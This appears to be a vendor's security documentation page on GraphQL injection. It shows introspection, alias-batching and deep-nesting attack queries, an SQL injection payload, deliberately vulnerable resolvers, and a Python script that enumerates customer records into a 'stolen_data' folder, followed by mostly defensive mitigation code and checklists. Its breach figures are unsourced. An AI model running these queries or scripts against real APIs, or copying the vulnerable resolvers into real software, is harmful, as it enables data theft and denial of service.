Documentation

# GraphQL Injection

GraphQL Injection Illustration
GraphQL Injection Illustration

A security vulnerability where attackers exploit improper input validation in GraphQL APIs to extract unauthorized data, bypass authentication, or cause denial of service through query complexity attacks.

HIGH SEVERITY DATA EXPOSURE API ATTACK


# What is GraphQL Injection?

In Simple Terms:

Imagine a library with a very flexible request system. Instead of asking for specific books, you can ask: "Give me all books, and for each book, give me the author, and for each author, give me ALL their books, and for each of THOSE books..."

GraphQL Injection exploits this flexibility to:

  • Request EVERYTHING in the database (through nested queries)
  • Access data you shouldn't see (through exposed fields)
  • Crash the server (through complex queries that consume massive resources)

It's like asking the librarian for "all books and all their relationships" until they collapse from exhaustion!


# How GraphQL Injection Works

# Understanding GraphQL Basics

GraphQL Query Example:

query {
  user(id: 123) {
    name
    email
  }
}

Response:

{
  "data": {
    "user": {
      "name": "John Doe",
      "email": "john@example.com"
    }
  }
}

# Common Vulnerabilities

query {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
        }
      }
    }
  }
}

Reveals entire API structure including hidden fields!

query {
  users {
    id
    username
    password  # Should be restricted!
    ssn       # Should be restricted!
  }
}
query {
  user {
    posts {
      author {
        posts {
          author {
            posts {
              # ... infinite nesting!
            }
          }
        }
      }
    }
  }
}

# Types of GraphQL Injection Attacks

# 1. Mass Data Extraction via Batching

CRITICAL

// No rate limiting or batching restrictions
const resolvers = {
  Query: {
    user: (parent, { id }, context) => {
      return db.users.findById(id);
    }
  }
};
query {
  user1: user(id: 1) { id username email ssn }
  user2: user(id: 2) { id username email ssn }
  user3: user(id: 3) { id username email ssn }
  # ... repeat for user4 through user10000
  user10000: user(id: 10000) { id username email ssn }
}

Single request extracts 10,000 users!

# 2. Introspection for Reconnaissance

INFORMATION DISCLOSURE

# Discover all types
query {
  __schema {
    types {
      name
      description
      fields {
        name
        description
        type {
          name
          kind
        }
      }
    }
  }
}

Response reveals:

  • Hidden admin fields
  • Internal API structure
  • Sensitive field names (password, ssn, creditCard)
  • Relationships between entities

# 3. Query Depth/Complexity Attack (DoS)

DENIAL OF SERVICE

query {
  user(id: 1) {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  # ... 50+ levels deep
                }
              }
            }
          }
        }
      }
    }
  }
}

Server attempts to resolve hundreds of thousands of nested queries → crash!

query {
  u1: user(id: 1) { posts { comments { replies { user { posts } } } } }
  u2: user(id: 1) { posts { comments { replies { user { posts } } } } }
  u3: user(id: 1) { posts { comments { replies { user { posts } } } } }
  # ... repeat 100 times with aliases
  u100: user(id: 1) { posts { comments { replies { user { posts } } } } }
}

100 aliases × 5 levels deep = 100,000+ database queries!

# 4. Field Injection

AUTHORIZATION BYPASS

const resolvers = {
  Query: {
    getUser: (parent, { id }, context) => {
      // VULNERABLE: Returns entire user object
      return db.users.findById(id);
    }
  }
};
query {
  getUser(id: 123) {
    username
    email
    password      # Should be restricted!
    ssn           # Should be restricted!
    creditCard    # Should be restricted!
    role          # Can reveal admin status
    internalNotes # Internal data
  }
}

Even if frontend only requests username/email, attacker can request ANY field!

# 5. SQL Injection via GraphQL Variables

SQL INJECTION

const resolvers = {
  Query: {
    searchUsers: (parent, { searchTerm }, context) => {
      // VULNERABLE: Direct string interpolation
      const query = `SELECT * FROM users WHERE username LIKE '%${searchTerm}%'`;
      return db.raw(query);
    }
  }
};
query {
  searchUsers(searchTerm: "admin' OR '1'='1") {
    id
    username
    password
  }
}

SQL becomes: SELECT * FROM users WHERE username LIKE '%admin' OR '1'='1%'

Returns ALL users!


# Real-World Examples

# Case Study 1: GitHub GraphQL API Information Disclosure (2018)

GitHub's GraphQL API exposed private repository information through insufficient field-level authorization.

query {
  repository(owner: "private-company", name: "secret-project") {
    name
    description
    isPrivate
    defaultBranchRef {
      target {
        ... on Commit {
          history {
            nodes {
              message
              additions
              deletions
            }
          }
        }
      }
    }
  }
}

Even though repository was private, GraphQL API returned commit messages and stats if attacker knew the repository name!

  • Private repository metadata exposed
  • Commit messages revealed sensitive information
  • Fixed within 24 hours after disclosure
  • Highlighted field-level authorization importance

# Case Study 2: E-commerce Platform Data Breach (2020)

2 MILLION RECORDS EXPOSED

Vulnerable API:

const resolvers = {
  Query: {
    customer: async (parent, { id }) => {
      // No authentication check!
      // No rate limiting!
      return await db.customers.findById(id);
    }
  },
  Customer: {
    orders: async (customer) => {
      return await db.orders.findByCustomerId(customer.id);
    }
  }
};

Attack Script:

import requests
import json

# Extract all customers
for customer_id in range(1, 2000000):
    query = """
    query {
      customer(id: %d) {
        id
        name
        email
        phone
        address
        creditCard
        orders {
          id
          total
          items {
            name
            price
          }
        }
      }
    }
    """ % customer_id

    response = requests.post(
        'https://api.shop.com/graphql',
        json={'query': query}
    )

    data = response.json()
    # Save to file
    with open(f'stolen_data/customer_{customer_id}.json', 'w') as f:
        json.dump(data, f)

    if customer_id % 1000 == 0:
        print(f"[+] Extracted {customer_id} customers...")

# Completed in 15 minutes with parallel requests

Consequences:

  • 2 million customer records stolen
  • Credit card information exposed
  • $45 million in fraud
  • $120 million in fines and settlements
  • Company filed for bankruptcy

# Case Study 3: Social Media Platform DoS (2021)

Attacker discovered circular relationships in GraphQL schema.

query ExpensiveQuery {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                friends {
                  friends {
                    # 20 levels deep
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Impact:

  • Each user had average 200 friends
  • 200^20 = astronomical number of queries
  • Server consumed all memory and CPU
  • Platform down for 6 hours
  • $15 million in lost revenue

# Prevention Strategies

# 1. Disable Introspection in Production

ESSENTIAL

const { ApolloServer } = require('apollo-server');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  // SECURE: Disable introspection in production
  introspection: process.env.NODE_ENV !== 'production',
  playground: process.env.NODE_ENV !== 'production'
});
import { createServer } from '@graphql-yoga/node';

const server = createServer({
  schema,
  context: () => ({}),
  // Disable introspection
  maskedErrors: true,
  graphiql: process.env.NODE_ENV !== 'production'
});

# 2. Implement Query Complexity Analysis

CRITICAL

const { ApolloServer } = require('apollo-server');
const { createComplexityLimitRule } = require('graphql-validation-complexity');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [
    // Limit query complexity
    createComplexityLimitRule(1000, {
      onCost: (cost) => {
        console.log('Query cost:', cost);
      },
      createError: (cost, documentNode) => {
        return new Error(
          `Query is too complex: ${cost}. Maximum allowed complexity: 1000`
        );
      }
    })
  ]
});

# 3. Implement Query Depth Limiting

const depthLimit = require('graphql-depth-limit');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [
    // Maximum depth of 5
    depthLimit(5)
  ]
});

# 4. Field-Level Authorization

ESSENTIAL

const resolvers = {
  Query: {
    user: async (parent, { id }, context) => {
      // Check authentication
      if (!context.user) {
        throw new Error('Authentication required');
      }

      return await db.users.findById(id);
    }
  },
  User: {
    // Field-level authorization
    email: (user, args, context) => {
      // Only return email if requesting own profile or admin
      if (context.user.id === user.id || context.user.role === 'admin') {
        return user.email;
      }
      return null;
    },
    ssn: (user, args, context) => {
      // NEVER expose SSN via API
      throw new Error('Field not accessible');
    },
    password: () => {
      // NEVER expose password
      throw new Error('Field not accessible');
    }
  }
};

# 5. Rate Limiting and Query Cost

const { RateLimiterMemory } = require('rate-limiter-flexible');

const rateLimiter = new RateLimiterMemory({
  points: 100, // 100 points
  duration: 60, // per 60 seconds
});

const server = new ApolloServer({
  typeDefs,
  resolvers,
  context: async ({ req }) => {
    const ip = req.ip;

    try {
      await rateLimiter.consume(ip, 1);
    } catch (error) {
      throw new Error('Rate limit exceeded');
    }

    return { user: req.user };
  }
});

# 6. Input Validation and Sanitization

const resolvers = {
  Query: {
    searchUsers: async (parent, { searchTerm }, context) => {
      // SECURE: Validate and sanitize input
      if (typeof searchTerm !== 'string') {
        throw new Error('Invalid search term');
      }

      // Remove special characters
      const sanitized = searchTerm.replace(/[^a-zA-Z0-9\s]/g, '');

      if (sanitized.length < 2 || sanitized.length > 50) {
        throw new Error('Search term must be 2-50 characters');
      }

      // Use parameterized query
      return await db.users.search(sanitized);
    }
  }
};

# 7. Comprehensive Security Implementation

[secure-graphql-server.js]
const { ApolloServer } = require('apollo-server-express');
const depthLimit = require('graphql-depth-limit');
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const { RateLimiterMemory } = require('rate-limiter-flexible');
const express = require('express');

// Rate limiter
const rateLimiter = new RateLimiterMemory({
  points: 100,
  duration: 60
});

// Type definitions
const typeDefs = `
  type User {
    id: ID!
    username: String!
    email: String
    role: String
  }

  type Query {
    user(id: ID!): User
    users(limit: Int = 10): [User]
  }
`;

// Resolvers with security
const resolvers = {
  Query: {
    user: async (parent, { id }, context) => {
      // Authentication required
      if (!context.user) {
        throw new Error('Authentication required');
      }

      // Input validation
      if (!id || typeof id !== 'string') {
        throw new Error('Invalid ID');
      }

      return await db.users.findById(id);
    },
    users: async (parent, { limit }, context) => {
      // Authentication required
      if (!context.user) {
        throw new Error('Authentication required');
      }

      // Authorization - only admins can list users
      if (context.user.role !== 'admin') {
        throw new Error('Authorization required');
      }

      // Limit validation
      if (limit > 100) {
        throw new Error('Limit cannot exceed 100');
      }

      return await db.users.findAll({ limit });
    }
  },
  User: {
    // Field-level authorization
    email: (user, args, context) => {
      if (context.user.id === user.id || context.user.role === 'admin') {
        return user.email;
      }
      return null;
    },
    role: (user, args, context) => {
      // Only admins can see roles
      if (context.user.role === 'admin') {
        return user.role;
      }
      return null;
    }
  }
};

// Apollo Server configuration
const server = new ApolloServer({
  typeDefs,
  resolvers,

  // Disable introspection in production
  introspection: process.env.NODE_ENV !== 'production',
  playground: process.env.NODE_ENV !== 'production',

  // Validation rules
  validationRules: [
    // Limit query depth
    depthLimit(5),

    // Limit query complexity
    createComplexityLimitRule(1000)
  ],

  // Context with authentication
  context: async ({ req }) => {
    // Rate limiting
    try {
      await rateLimiter.consume(req.ip, 1);
    } catch (error) {
      throw new Error('Rate limit exceeded');
    }

    // Get user from token
    const token = req.headers.authorization?.replace('Bearer ', '');
    const user = await verifyToken(token);

    return { user };
  },

  // Error handling
  formatError: (error) => {
    // Don't expose internal errors in production
    if (process.env.NODE_ENV === 'production') {
      console.error(error);
      return new Error('Internal server error');
    }
    return error;
  }
});

// Express app
const app = express();

server.applyMiddleware({ app });

app.listen(4000, () => {
  console.log('🚀 Server ready at http://localhost:4000/graphql');
});
[schema.js]
const { gql } = require('apollo-server');

const typeDefs = gql`
  # User type
  type User {
    id: ID!
    username: String!
    email: String  # Restricted field
    role: String   # Restricted field
    createdAt: String
  }

  # Query type
  type Query {
    # Get single user (authentication required)
    user(id: ID!): User

    # List users (admin only)
    users(limit: Int = 10): [User]

    # Current user
    me: User
  }

  # Mutation type
  type Mutation {
    # Login
    login(username: String!, password: String!): AuthPayload

    # Update profile (own profile only)
    updateProfile(username: String, email: String): User
  }

  # Auth payload
  type AuthPayload {
    token: String!
    user: User!
  }
`;

module.exports = typeDefs;

# Security Checklist

# Configuration

  • Disable introspection in production
  • Disable GraphQL Playground in production
  • Implement query depth limiting (max 5-10 levels)
  • Implement query complexity analysis
  • Set maximum query cost threshold
  • Enable query timeout (5-10 seconds)
  • Implement rate limiting per IP/user
  • Log all queries for monitoring

# Authorization

  • Require authentication for all sensitive queries
  • Implement field-level authorization
  • Never expose password/ssn/sensitive fields
  • Validate user permissions for each resolver
  • Implement role-based access control
  • Check authorization at resolver level, not just query level
  • Limit batch queries (disable or restrict aliases)

# Input Validation

  • Validate all input types and formats
  • Sanitize input before database queries
  • Use parameterized queries (prevent SQL injection)
  • Implement input length limits
  • Validate enum values
  • Check for malicious patterns

# Monitoring

  • Log all GraphQL queries
  • Monitor query complexity patterns
  • Alert on high-complexity queries
  • Track rate limit violations
  • Monitor for introspection attempts in production
  • Set up anomaly detection
  • Regular security audits

# Key Takeaways


# How Layerd AI Protects Against GraphQL Injection

Layerd AI provides comprehensive GraphQL security:

  • Automatic Introspection Disabling: Ensures introspection is disabled in production
  • Query Complexity Analysis: Monitors and blocks expensive queries in real-time
  • Field-Level Authorization Validation: Verifies authorization checks on sensitive fields
  • Input Validation: Automatically sanitizes GraphQL variables
  • Rate Limiting: Prevents mass data extraction attempts
  • Anomaly Detection: Identifies suspicious query patterns
  • Schema Analysis: Audits GraphQL schema for security issues

Secure your GraphQL APIs with Layerd AI's intelligent protection.


# Additional Resources


Last Updated: November 2025